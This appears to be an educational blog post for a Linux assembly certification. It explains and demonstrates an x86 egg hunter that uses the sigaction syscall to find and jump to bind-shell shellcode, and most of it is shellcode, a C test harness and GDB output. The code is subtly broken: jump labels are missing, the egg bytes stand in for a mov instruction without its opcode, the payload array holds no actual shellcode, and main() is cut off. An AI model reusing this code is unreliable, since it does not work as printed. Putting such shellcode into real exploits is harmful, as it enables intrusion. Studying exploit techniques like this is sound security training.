Egg Hunting is the topic for this third SLAE assignment. Before briefly describing what an egg hunter is about, I strongly suggest reading this great paper by Skape. During an exploitation, we do not always have the luxury of being able to fit our full shellcode in the available buffer. Sometimes that space is just simply not enough, and we have to workaround it, with a smaller piece of code (Egg Hunter), which will search through the memory for the full shellcode, that has been loaded via another means. For example, if a webserver has a buffer overflow vulnerability in ‘header A’, we can load the egg-hunter into that header and then load the full-fledged shellcode in ‘header B’. The main shellcode is prefixed by an ‘egg’, which, in turn, is used by the egg-hunter as a key to lookup in the memory; once the egg-hunter finds the key (egg) it passes control to the main shellcode. The egg is an 8-byte sequence of a twofold 4-byte repetition of the key. The reason for this redundancy is to avoid the risk of the egg-hunter recognizing itself as a target, instead of the actual shellcode. It is important to note that the key needs to be as unique as possible, so I have used a concatenation of AAA+AAS (0x373F) instructions, which is fairly uncommon. The Skape paper illustrates three different ways to implement egg-hunters: we are going to use the second one, which employs a more reliable mechanism. In this option, the egg-hunter is invoking the ‘sigaction’ system call, which tests a memory page and verify that is a valid one, thus preventing the program from crashing.

Here is the high level order of operation:

  • The Egg-Hunter is loaded in the memory, via a vulnerability.
  • It then crawls each memory page
  • If it receives an EFAULT error code, the page is invalid.
  • If the page is valid, it compares the memory address to the egg.
  • If a match is found, it checks the next memory address to find the same match (remember, the main shellcode starts with the egg repeated twice.)
  • If two eggs are found in sequence, it passes control to the target shellcode.

Here is the memory layout:

various valid/invalid memory pages
[4 bytes egg]
[4 bytes egg]

Here the egghunter shellcode:

global _start			

section .text
	cld 		; clear direction flag in preparation for scasd
	xor edx,edx	; clear edx
	xor ecx,ecx	; clear ecx
    or cx,0xfff         ; page alignment at 4095 - avoid explicit 4096 nullbyte
    inc ecx		; bring it at 4096 - default linux page size
    push byte +0x43     ; sigaction(2) value
    pop eax             ; store syscall identifier in eax
    int 0x80            ; call sigaction(2)
    cmp al,0xf2         ; check if we got an EFAULT(f2)
    jz align_page       ; if so, it's an invalid pointer, loop back and try with next page
    mov eax, 0x373F373F ; if valid page, place the egg in eax
    mov edi, ecx        ; address to be validated, moved into edi
    scasd               ; compare eax / edi and increment edi by 4 bytes
    jnz next_address    ; if no match - try with the next address
    scasd               ; first 4 bytes matched, what about the other half?
    jnz next_address    ; no match - try with the next address
    jmp edi             ; egg found! pass control to the main shellcode

#include <stdio.h>
#include <string.h>

#define EGG "\x37\x3F\x37\x3F"

unsigned char egghunter[] = \
"\xfc"          	 // clear direction flag in preparation for scasd
"\x31\xd2" 		// clear edx
"\x31\xc9"   		// clear ecx
"\x66\x81\xc9\xff\x0f"  // or     cx,0xfff
"\x41"                  // inc    ecx
"\x6a\x43"              // push   0x43
"\x58"                  // pop    eax
"\xcd\x80"              // int    0x80
"\x3c\xf2"              // cmp    al,0xf2
"\x74\xf1"              // je     align_page
EGG                     // mov    eax,0x373F373F
"\x89\xcf"              // mov    edi,ecx
"\xaf"                  // scas   eax,DWORD PTR es:[edi]
"\x75\xec"              // jne    next_address
"\xaf"                  // scas   eax,DWORD PTR es:[edi]
"\x75\xe9"              // jne    next_address
"\xff\xe7";             // jmp    edi

unsigned char code[] = \
EGG // local bind shellcode to port 1234

int main(void) {
    printf("Shellcode length + 8 byte egg: %d\n", strlen(code));
    printf("Egg hunter length: %d\n", strlen(egghunter));
    int (*ret)() = (int(*)())egghunter;

Bear in mind that this technique will work with any kind of shellcode, as the egg-hunter will seek the preambled egg only, regardless of the payload content.

Let’s run it:

# ./linux_x86_egg-hunter
Shellcode length + 8 byte egg: 97
Egg hunter length: 35

And try to connect on port 1234

# nc localhost 1234

Great. Now it’s time for a short demo, which shows how the shellcode is independant from the egg hunter. Let’s fire up GDB,place a breakpoint at the egghunter and disassemble it.

# gdb -q ./shellcode
(gdb) break *&egghunter
Breakpoint 1 at 0x2040

(gdb) run
Starting program:
Shellcode length + 8 byte egg: 97
Egg hunter length: 35

Breakpoint 1, 0x800e1040 in egghunter ()

(gdb) disassemble
Dump of assembler code for function egghunter:
=> 0x800e1040 <+0>:  cld
   0x800e1041 <+1>:  xor    edx,edx
   0x800e1043 <+3>:  xor    ecx,ecx
   0x800e1045 <+5>:  or     cx,0xfff
   0x800e104a <+10>: inc    ecx
   0x800e104b <+11>: push   0x43
   0x800e104d <+13>: pop    eax
   0x800e104e <+14>: int    0x80
   0x800e1050 <+16>: cmp    al,0xf2
   0x800e1052 <+18>: je     0x800e1045 <egghunter+5>
   0x800e1054 <+20>: mov    eax,0x3f373f37
   0x800e1059 <+25>: mov    edi,ecx
   0x800e105b <+27>: scas   eax,DWORD PTR es:[edi]
   0x800e105c <+28>: jne    0x800e104a <egghunter+10>
   0x800e105e <+30>: scas   eax,DWORD PTR es:[edi]
   0x800e105f <+31>: jne    0x800e104a <egghunter+10>
   0x800e1061 <+33>: jmp    edi
   0x800e1063 <+35>: add    BYTE PTR [eax],al

We stopped at our egg-hunter beginning and we want to heve a peak into EDI register.

(gdb) info reg
eax            0x800e1040	-2146561984
ecx            0x7fffffea	2147483626
edx            0xb76ed870	-1217472400
ebx            0x800e1000	-2146562048
esp            0xbfb8707c	0xbfb8707c
ebp            0xbfb87098	0xbfb87098
esi            0x1	1  
edi            0xb76ec000	-1217478656                    <<<<<<<<<<<<<<<<<
eip            0x800e1040	0x800e1040 <egghunter>
eflags         0x282	[ SF IF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

(gdb) x/16xw 0xb76ec000
0xb76ec000:	0x001b2db0	0xb7715858	0xb7730710	0xb7550756
0xb76ec010:	0xb7550766	0xb75d9990	0xb7550786	0xb75c9110
0xb76ec020:	0xb76779a0	0xb772e5b0	0xb75507c6	0xb75507d6
0xb76ec030:	0x00000000	0x00000000	0x00000000	0x00000000

As we imagined, EDI points to some random values, since has not been used so far. But we also know , that EDI will be used to store the EGG location, when found. So we place the next breakpoint right before the program passes control to the shellcode, so we can verify the new value of EDI.

(gdb) break *0x800e1061
Breakpoint 4 at 0x800e1061

(gdb) continue

Breakpoint 4, 0x800e1061 in egghunter ()
(gdb) info reg
eax            0x3f373f37	1060585271
ecx            0x800e1080	-2146561920
edx            0x0	0
ebx            0x800e1000	-2146562048
esp            0xbfb8707c	0xbfb8707c
ebp            0xbfb87098	0xbfb87098
esi            0x1	1
edi            0x800e1088	-2146561912
eip            0x800e1061	0x800e1061 <egghunter+33>
eflags         0x246	[ PF ZF IF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

(gdb) x/16xw 0x800e1088
0x800e1088 <code+8>:	0x6a58666a	0xf6315b01	0x026a5356	0x80cde189
0x800e1098 <code+24>:	0xb093975f	0x68665666	0x5366d204	0x106ae189
0x800e10a8 <code+40>:	0xe1895751	0x66b080cd	0x575604b3	0x80cde189
0x800e10b8 <code+56>:	0x564366b0	0xe1895756	0x595980cd	0xb09302b1

Which gladly points to our target shellcode at 0x800e1088.

My assignment code can be found here: here

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: Student ID: PA-5837